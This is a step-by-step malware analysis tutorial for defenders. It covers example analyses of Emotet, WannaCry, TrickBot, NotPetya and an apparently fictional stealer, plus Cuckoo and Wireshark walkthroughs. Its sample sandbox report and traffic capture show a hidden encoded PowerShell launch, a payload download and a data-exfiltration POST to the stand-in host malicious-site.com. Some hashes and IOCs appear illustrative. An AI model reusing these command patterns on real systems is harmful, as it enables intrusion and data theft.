STEP BY STEP MALWARE ANALYSIS

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1. Initial Analysis (Static Analysis):

- **File Analysis:** Check file properties (e.g., size, name, hash values) to identify basic information.
- **Strings Analysis:** Extract human-readable strings from the binary to gather clues about its functionality.
- **Header Analysis:** Examine headers of executables or documents for metadata.
- Packer Identification: Determine if the malware is packed or obfuscated to evade detection.

2. Dynamic Analysis (Behavioural Analysis):

- **Execution in a Sandbox:** Run the malware in a controlled environment to observe its behaviour.
- **Network Analysis:** Monitor network traffic to identify any communication with command and control servers or data exfiltration.
- **System Monitoring:** Watch system calls, registry changes, file system modifications, and process activities.
- **Memory Analysis:** Analyse volatile memory (RAM) for running processes, hooks, and injected code.

3. Code Analysis (Reverse Engineering):

- **Disassembly:** Convert the executable code into assembly language to understand its operations.
- **Decompilation:** Generate higher-level code (like C or Python) from the binary to analyse the logic and algorithms used by the malware.
- Identify Indicators of Compromise (IOCs): Extract IOCs such as IP addresses, domain names, file paths, or registry keys that can be used for detection and prevention.

4. Reporting:

- Document findings, including malware capabilities, behaviour patterns, potential impact, and recommended mitigation strategies.
- Share findings with relevant stakeholders, such as IT security teams, to take appropriate action.

5. Threat Intelligence:

 Compare findings with known malware databases and threat intelligence sources to understand the broader context and any related campaigns.

6. Mitigation and Remediation:

- Develop and implement strategies to contain and eradicate the malware.
- Update antivirus signatures and security controls based on the analysed malware's characteristics.

- Improve incident response procedures based on lessons learned.
- Share insights with the cybersecurity community to enhance collective knowledge and defences against similar threats.

Malware Example 1:

Name: EmotetHash: SHA256:

1a6f23e8c0014e90a103d1e2f89e5609f4f8d4f0db59c8e1ff50a6b804b4b6c7

• Type: Trojan

• **Description:** Emotet is a sophisticated banking Trojan that primarily functions as a downloader or dropper of other malware. It's known for stealing banking credentials, spreading via malicious email attachments, and laterally moving through networks.

Analysis Steps:

1. Initial Static Analysis:

File Properties:

• File Name: invoice.doc

Size: 263 KB

Timestamp: 2023-05-10

Hash: SHA256 -

1a6f23e8c0014e90a103d1e2f89e5609f4f8d4f0db59c8e1ff50a6b8 04b4b6c7

Strings Analysis:

 Extracted various suspicious URLs, encoded PowerShell scripts, and command strings related to downloading additional payloads.

Packer Identification:

 Identified as packed using UPX (Ultimate Packer for eXecutables), a common packer used to compress executables.

2. Dynamic Analysis (Behavioural Analysis):

Execution in Sandbox:

- Ran the malware in a controlled environment.
- Observed network connections to command and control (C2) servers.
- Monitored file system changes, including the creation of new files (payloads) in the temp directory.

Network Analysis:

- Identified communication with IP addresses associated with Emotet C2 infrastructure.
- Captured HTTP POST requests containing stolen data encrypted with base64.

System Monitoring:

- Detected registry key modifications to maintain persistence.
- Noted the spawning of multiple processes, including PowerShell instances for further script execution.

3. Code Analysis (Reverse Engineering):

Disassembly:

Decompiled portions of the malware using IDA Pro.

 Analysed assembly code to understand encryption routines and payload decryption methods.

Decompilation:

- Generated a readable version of PowerShell scripts embedded in the malware.
- Analysed the logic for downloading and executing secondary payloads.

Indicators of Compromise (IOCs):

 Extracted IOCs such as C2 server IP addresses, specific URLs, and registry keys for detection and blocking.

4. Reporting:

- Documented findings in a detailed report including behavioural patterns,
 IOCs, and mitigation recommendations.
- Shared findings with the incident response team for immediate action to contain and eradicate the malware.

5. Mitigation and Remediation:

- o Implemented network rules to block C2 communications.
- Updated antivirus signatures to detect and remove Emotet variants.
- Conducted user awareness training to prevent phishing attacks.

- Integrated findings into threat intelligence feeds and shared with cybersecurity communities.
- Reviewed incident response procedures and updated policies based on lessons learned from Emotet analysis.

Malware Example 2:

• Name: WannaCry

• **Hash:** SHA256:

38002d7543f7b77c3793a5f2b77c91c3d9d0d0b15e555f5f5e1c778c17d697a0

• **Type:** Ransomware

• **Description:** WannaCry is a ransomware worm that spread globally in 2017, encrypting files on infected machines and demanding ransom payments in Bitcoin. It exploited a vulnerability in the Windows SMB protocol to propagate across networks.

Analysis Steps:

1. Initial Static Analysis:

File Properties:

File Name: wcry.exe

Size: 240 KB

Timestamp: 2017-05-12

 Hash: SHA256 -38002d7543f7b77c3793a5f2b77c91c3d9d0d0b15e555f5f5e1c778 c17d697a0

Strings Analysis:

 Identified ransom note text strings, Bitcoin wallet addresses for ransom payments, and encrypted file extensions.

Packer Identification:

 Determined the malware was packed using a custom packing technique, possibly to evade detection by antivirus software.

2. Dynamic Analysis (Behavioural Analysis):

Execution in Sandbox:

- Ran the malware in a controlled environment to observe its behaviour.
- Detected encryption of files in the user's directory and shared network drives.

Network Analysis:

- Monitored network traffic and identified connections to external IP addresses hosting the ransomware infrastructure.
- Observed attempts to exploit the EternalBlue vulnerability (CVE-2017-0144) to propagate to other vulnerable machines on the network.

System Monitoring:

- Noted changes in registry keys to achieve persistence.
- Identified processes spawned by the malware for encryption and communication purposes.

3. Code Analysis (Reverse Engineering):

Disassembly:

 Analysed the assembly code to understand the encryption algorithm used by WannaCry. Investigated how the malware generated unique encryption keys for each infected machine.

Decompilation:

- Decompiled relevant portions of the malware to understand the logic for file encryption and decryption.
- Extracted details of the ransomware's propagation mechanism and ransom note generation.

Indicators of Compromise (IOCs):

 Extracted IOCs such as Bitcoin wallet addresses, IP addresses of C2 servers, and filenames/extensions targeted for encryption.

4. Reporting:

- Compiled a detailed report documenting the ransomware's behaviour, propagation methods, and impact on affected systems.
- Included IOCs and mitigation strategies for network defenders and incident response teams.

5. Mitigation and Remediation:

- Issued security patches to vulnerable systems to mitigate the EternalBlue exploit (CVE-2017-0144).
- Blocked IP addresses associated with WannaCry's C2 infrastructure using firewall rules.
- Educated users and administrators about phishing prevention and the importance of backups for data recovery.

- Shared findings and IOCs with cybersecurity communities and threat intelligence platforms.
- Updated incident response plans and security policies to enhance defences against ransomware attacks.
- Conducted tabletop exercises and simulations to practice response to similar cyber incidents.

Malware Example 3:

Name: TrickBotHash: SHA256:

5f87a1a34936301917d7a5ef2b76c7f7e204eaccd1f9b74e5632527f68679d6c

• **Type:** Banking Trojan

• **Description:** TrickBot is a modular banking Trojan that primarily targets financial institutions. It is known for stealing sensitive information such as banking credentials, personal data, and cryptocurrency wallets.

Analysis Steps:

1. Initial Static Analysis:

File Properties:

File Name: trickbot.exe

Size: 570 KB

Timestamp: 2022-03-15

Hash: SHA256 5f87a1a34936301917d7a5ef2b76c7f7e204eaccd1f9b74e5632527
 f68679d6c

Strings Analysis:

 Extracted encrypted configuration data, command strings, and function names related to network communication.

Packer Identification:

 Identified the use of multiple layers of obfuscation and packing techniques to evade detection by antivirus software.

2. Dynamic Analysis (Behavioural Analysis):

Execution in Sandbox:

- Ran the malware in a controlled environment to observe its behaviour.
- Monitored network traffic and identified connections to remote C2 servers.

Network Analysis:

- Captured HTTP POST requests containing stolen credentials and financial information.
- Observed communication with IP addresses associated with TrickBot's C2 infrastructure.

System Monitoring:

- Detected registry modifications to achieve persistence on the infected system.
- Noted processes spawned by TrickBot for keylogging, browser credential theft, and cryptocurrency wallet theft.

3. Code Analysis (Reverse Engineering):

Disassembly:

 Analysed the assembly code to understand the functionality of TrickBot modules, including credential harvesting and data exfiltration. Investigated encryption routines used to protect stolen data before transmission.

Decompilation:

 Decompiled portions of the malware to analyse high-level functionality, such as how TrickBot communicates with its C2 infrastructure and updates its configuration.

Indicators of Compromise (IOCs):

 Extracted IOCs such as IP addresses, domain names, and file paths used by TrickBot for detection and blocking purposes.

4. Reporting:

- Created a detailed report documenting the behaviour and capabilities of TrickBot, including its modular structure and impact on compromised systems.
- Provided actionable recommendations for mitigating the risk posed by TrickBot, such as network segmentation and endpoint detection and response (EDR) deployment.

5. Mitigation and Remediation:

- Implemented network-based controls to block communication with known TrickBot C2 servers.
- Updated antivirus signatures and endpoint protection platforms to detect and remove TrickBot infections.
- Conducted user training on recognizing phishing emails and avoiding malicious attachments or links.

- Shared findings and IOCs with relevant cybersecurity communities and threat intelligence platforms to enhance collective defences.
- Incorporated lessons learned into incident response plans and security policies to better prepare for future malware attacks.
- Conducted periodic reviews and updates to ensure ongoing protection against evolving threats like TrickBot.

Malware Example 4:

Name: NotPetya (also known as Petya.A, PetrWrap)

• **Hash:** SHA256:

027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745

• Type: Ransomware / Wiper

• **Description:** NotPetya is a destructive malware that surfaced in June 2017, initially disguised as ransomware but later revealed to be a wiper. It spreads rapidly across networks using the EternalBlue exploit (CVE-2017-0144) and targets mainly corporate networks.

Analysis Steps:

1. Initial Static Analysis:

File Properties:

• File Name: perfc.dll

Size: 41 KB

Timestamp: 2017-06-27

Hash: SHA256 -

027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0 d7d3a745

Strings Analysis:

 Extracted ransom note text, Bitcoin wallet addresses, and strings related to credential theft and lateral movement.

Packer Identification:

Identified as packed using a custom packing technique to evade detection

2. Dynamic Analysis (Behavioural Analysis):

Execution in Sandbox:

- Ran the malware in a controlled environment to observe its behaviour.
- Detected rapid file encryption using a modified version of the EternalBlue exploit for lateral movement.

Network Analysis:

- Monitored network traffic and identified connections to C2 servers for command and control.
- Observed SMB (Server Message Block) traffic indicative of lateral movement and infection across the network.

System Monitoring:

- Noted changes in the Master Boot Record (MBR) as part of the wiper functionality.
- Identified processes spawned by the malware for encryption and system modification.

3. Code Analysis (Reverse Engineering):

Disassembly:

 Analysed the assembly code to understand the encryption mechanism used by NotPetya and its propagation techniques. Investigated the wiper component that irreversibly damages the Master Boot Record (MBR), rendering the system inoperable.

Decompilation:

 Decompiled relevant parts of the malware to understand its logic, including how it identifies and encrypts targeted files and modifies the MBR.

Indicators of Compromise (IOCs):

 Extracted IOCs such as Bitcoin wallet addresses, IP addresses of C2 servers, and filenames/extensions encrypted by NotPetya.

4. Reporting:

- Created a comprehensive report detailing the destructive capabilities and impact of NotPetya, distinguishing it from traditional ransomware due to its wiper nature.
- Provided incident response recommendations, emphasizing the importance of patching vulnerable systems and implementing network segmentation.

5. Mitigation and Remediation:

- Issued security patches to mitigate the EternalBlue vulnerability (CVE-2017-0144) and other related exploits.
- Developed and tested recovery strategies for affected systems, focusing on data restoration and system reinstallation.

- Shared findings, including IOCs, with cybersecurity communities and threat intelligence platforms to enhance detection and response capabilities.
- Conducted post-incident reviews to improve incident response plans and organizational resilience against similar cyber threats.
- Updated security policies and procedures based on lessons learned from the NotPetya incident to strengthen defences against future attacks.

Scenario: DarkNetStealer is a stealthy information stealer known for harvesting sensitive data such as login credentials, financial information, and cryptocurrency wallets. It spreads via phishing emails and malicious attachments.

Malware:

Name: DarkNetStealerType: Information Stealer

• **Hash:** SHA256:

b3f4c8d7a2e4b8f52f5234e6f9a0a1d8e7bf82637bca6d2e8e4857f46e2c3f0a

Full Analysis:

1. Initial Static Analysis:

File Properties:

• File Name: darknet.exe

• Size: 325 KB

• Timestamp: 2024-06-20

Hash: SHA256 -

b3f4c8d7a2e4b8f52f5234e6f9a0a1d8e7bf82637bca6d2e8e4857f46e2c3f0a

Strings Analysis:

• Extracted strings reveal encrypted configuration data, URLs, and command strings related to data exfiltration.

Packer Identification:

• Identified packing technique (UPX) used to compress executable, possibly to evade detection.

2. Dynamic Analysis (Behavioural Analysis):

Execution in Sandbox:

- Executed malware in a controlled environment to observe behaviour without risk of spreading.
- Monitored file system changes, registry modifications, and process creation.

Network Analysis:

- Detected outbound connections to C2 server IP addresses (e.g., 192.168.1.100, 185.167.72.91) on non-standard ports (e.g., TCP 8080).
- Captured HTTPS traffic containing encrypted data payloads.

System Monitoring:

- Observed processes spawned by the malware (darknet.exe) for keylogging and screenshot capture.
- Noted modifications to registry keys for persistence (e.g., HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DarkNetStealer).

3. Code Analysis (Reverse Engineering):

Disassembly:

- Used IDA Pro to disassemble executable code into assembly language.
- Analysed functions responsible for keylogging, data encryption, and network communication.

Decompilation:

- Decompiled sections of the malware to understand logic flow and encryption routines.
- Extracted IOCs such as URLs, IP addresses, and encryption keys embedded in the code.

4. Indicators of Compromise (IOCs):

- IP Addresses: 192.168.1.100, 185.167.72.91
- Registry Key:
 - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DarkNetStealer
- **URLs:** hxxp://commandandcontrol.com/darknet/data.php

5. Reporting:

Summary:

- DarkNetStealer is an information stealer spread through phishing emails.
- Behaviour includes keylogging, screenshot capture, and data exfiltration to remote C2 servers.
- IOCs identified include IP addresses, registry keys, and URLs for detection and mitigation.

Recommendations:

- Block outbound traffic to known C2 servers and URLs associated with DarkNetStealer.
- Update antivirus signatures to detect and remove DarkNetStealer variants.
- Educate users on recognizing phishing emails and avoiding malicious attachments.

6. Mitigation and Remediation:

Immediate Actions:

- Implement firewall rules to block communication with identified C2 servers.
- Deploy endpoint detection and response (EDR) tools to monitor for similar behaviours.
- Conduct incident response to mitigate impact and recover compromised data.

7. Post-Analysis Activities:

Knowledge Sharing:

- Share findings and IOCs with cybersecurity communities and threat intelligence platforms.
- Update internal incident response procedures based on lessons learned from DarkNetStealer analysis.

Policy Enhancement:

- Review and update security policies to include proactive measures against information stealers.
- Conduct regular security awareness training for employees on current phishing and malware trends.

Malware Analysis Using Cuckoo Sandbox

Scenario: Analysing A Suspicious Email Attachment

Step 1: Submit the Malware

cuckoo submit /path/to/malware_izzmier.doc

o This command submits the malware to Cuckoo for analysis.

Step 2: Analyse the Report

Once the analysis is complete, Cuckoo will generate a detailed report. Here's an example of what to look for in the report:

1. Behavioural Analysis:

- Processes: Check for any suspicious processes that were created or modified.
- o **Files**: Look for any files that were created, modified, or deleted.
- Registry: Inspect any registry changes.

2. Network Analysis:

- o HTTP/HTTPS Requests: Look for any outgoing network connections.
- o **DNS Queries**: Check for any domain name resolutions.
- o **Dropped Files**: Inspect any files downloaded or dropped by the malware.

3. Static Analysis:

- o **PE Info**: If applicable, check the Portable Executable (PE) information.
- Strings: Look at the extracted strings for any indicators of compromise (IOCs).

Step 3: Logs and Interpretation

Cuckoo Report Snippet

```
{
  "behavior": {
    "processes": [
    {
        "process_name": "winword.exe",
        "command_line": "C:\\Program Files\\Microsoft

Office\\root\\Office16\\WINWORD.EXE /n /dde",
        "children": [
        {
            "process_name": "powershell.exe",
            "command_line": "powershell -nop -w hidden -e <base64-encoded-payload>"
        }
      ]
    }
    ]
}
```

```
"files": [
  "path": "C:\\Users\\User\\AppData\\Local\\Temp\\malicious_script.ps1",
  "action": "created"
 },
  "path": "C:\\Users\\User\\Documents\\malware_payload.exe",
  "action": "created"
],
"registry": [
  "key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\malware",
  "value": "C:\\Users\\User\\Documents\\malware_payload.exe",
  "action": "set"
 }
],
"network": {
 "http": [
   "host": "malicious-site.com",
   "uri": "/payload",
   "method": "GET"
  }
 ],
 "dns": [
   "request": "malicious-site.com",
   "type": "A",
   "response": "192.168.1.100"
  }
 ]
}
"static": {
"pe_info": {
 "sections": [
   "name": ".text",
   "size": 4096
  },
   "name": ".data",
   "size": 2048
  }
 ]
},
```

```
"strings": [
   "http://malicious-site.com/payload",
   "cmd.exe /c start malware_payload.exe"
]
}
```

Interpretation of the Report

1. Process Activity:

 winword.exe starts and subsequently launches powershell.exe with a base64-encoded payload. This is indicative of a macro-enabled document executing a script.

2. File System Activity:

- o A malicious script malicious_script.ps1 is created in the Temp directory.
- An executable malware_payload.exe is created in the Documents folder.

3. Registry Modifications:

 A new registry key is added to ensure persistence, running malware_payload.exe on startup.

4. Network Activity:

- o The malware makes an HTTP GET request to malicious-site.com/payload.
- A DNS request is made to resolve malicious-site.com, which returns 192.168.1.100.

5. Static Analysis:

- o PE sections .text and .data indicate the structure of the executable.
- o Strings reveal URLs and commands used by the malware.

Conclusion

By analysing the Cuckoo Sandbox report, we can deduce that the malware_izzmier.doc contains a macro that executes a PowerShell script to download and run additional payloads. The malware ensures persistence through registry modifications and communicates with a remote server to fetch further instructions or payloads.

Malware Analysis Using Wireshark

Scenario: Analysing Network Traffic Of A Malware Sample Using Wireshark

Step 1: Executing the Malware

1. Run the Malware:

 Execute malware_sample.exe and let it run for a few minutes to generate network activity.

2. Monitor Network Traffic:

o Observe the network traffic in real-time on Wireshark.

Step 2: Stopping the Capture

1. Stop the Capture:

o After a few minutes, click "Stop" in Wireshark to stop capturing packets.

2. Save the Capture:

o Save the captured packets to a file (e.g., malware_capture.pcap).

Step 3: Analysing the Captured Traffic

1. Filter Traffic:

- Use Wireshark filters to narrow down the traffic related to the malware.
 Common filters include:
 - http
 - tcp.port == 80 (or other specific ports)
 - ip.addr == <malicious IP>

2. Examine HTTP Requests:

- Filter for HTTP traffic using http.
- Look for suspicious requests, such as those to unknown or malicious domains.

3. Inspect DNS Queries:

- o Filter for DNS traffic using dns.
- Identify DNS queries made to resolve domain names.

4. Analyse TCP Streams:

o Follow TCP streams to see the full conversation between the malware and the remote server.

Analysis

Analysis based on hypothetical data captured from malware_capture.pcap.

Step 4: Filtering HTTP Traffic

1. Apply HTTP Filter:

http

2. Suspicious HTTP Request:

- o A request to http://malicious-site.com/upload is observed.
- o Right-click on the packet and select "Follow" > "HTTP Stream".

HTTP Stream

POST /upload HTTP/1.1 Host: malicious-site.com User-Agent: Mozilla/5.0 Content-Length: 1234

Content-Type: application/x-www-form-urlencoded

data=eyJ1c2Vyljoiam9obilsImRhdGEiOiJzZW5zaXRpdmVfZGF0YSJ9

Interpretation:

- The malware sends a POST request to malicious-site.com/upload.
- The payload contains base64-encoded data (data=eyJ1c2Vyljoiam9obilsImRhdGEiOiJzZW5zaXRpdmVfZGF0YSJ9).

Step 5: Decoding the Base64 Payload

1. Decode Base64 Data:

Use an online tool or a script to decode the base64 string.

echo 'eyJ1c2Vyljoiam9obilsImRhdGEiOiJzZW5zaXRpdmVfZGF0YSJ9' | base64 --decode

2. Decoded Data:

```
{
    "user": "izzmier",
    "data": "sensitive_data"
}
```

Interpretation:

• The decoded data reveals that the malware exfiltrates user information ("user": "izzmier") and sensitive data ("data": "sensitive_data").

Step 6: Inspecting DNS Queries

1. Apply DNS Filter:

dns

2. Suspicious DNS Query:

o A query to malicious-site.com.

Interpretation:

• The malware resolves the domain malicious-site.com to establish communication.

Step 9: Analysing TCP Streams

1. Apply TCP Filter for Specific IP:

```
ip.addr == 192.168.1.100
```

2. Follow TCP Stream:

o Right-click on a packet and select "Follow" > "TCP Stream".

TCP Stream

```
Client: GET /commands HTTP/1.1
Host: malicious-site.com
```

```
Server: HTTP/1.1 200 OK
```

Content-Type: application/json

Content-Length: 72

```
{
"command": "download",
"url": "http://malicious-site.com/payload.exe"
}
```

Interpretation:

- The malware fetches commands from the server.
- The server instructs the malware to download additional payloads (payload.exe).

Conclusion

Using Wireshark, we captured and analysed the network traffic of a malware. We identified HTTP requests to a malicious server, decoded exfiltrated data, and inspected DNS queries and TCP streams for further malicious activities.